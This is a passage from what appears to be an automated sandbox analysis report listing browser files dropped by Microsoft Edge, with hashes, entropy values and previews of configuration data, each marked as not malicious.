Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF389c3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38a40.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38bf5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b288.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e272.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49c5b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4f808.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090761268925202
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMVwuF9hDO6vP6O+6tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynER6Ltbz8hu3VlXr4CRo1
MD5:	FA792F20CA7CEC5B9E06C4A55F7F98EC
SHA1:	FF9E21FE57C4493480171B1E095AAE842C978422
SHA-256:	40C82EEF6520EDB9A4737EFF922A4D2EDFE59DDAD08CDBC5E95DCA1986103AE4
SHA-512:	83D3158350DBC6BA61EE1F7C567166DD61E5D2ED672AEBA4DF7D8B1E460EB4DF50CD1BFFE4069014CF5CDC77345DA2BF393E6DB07E75A656B837B7AB38AC83C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
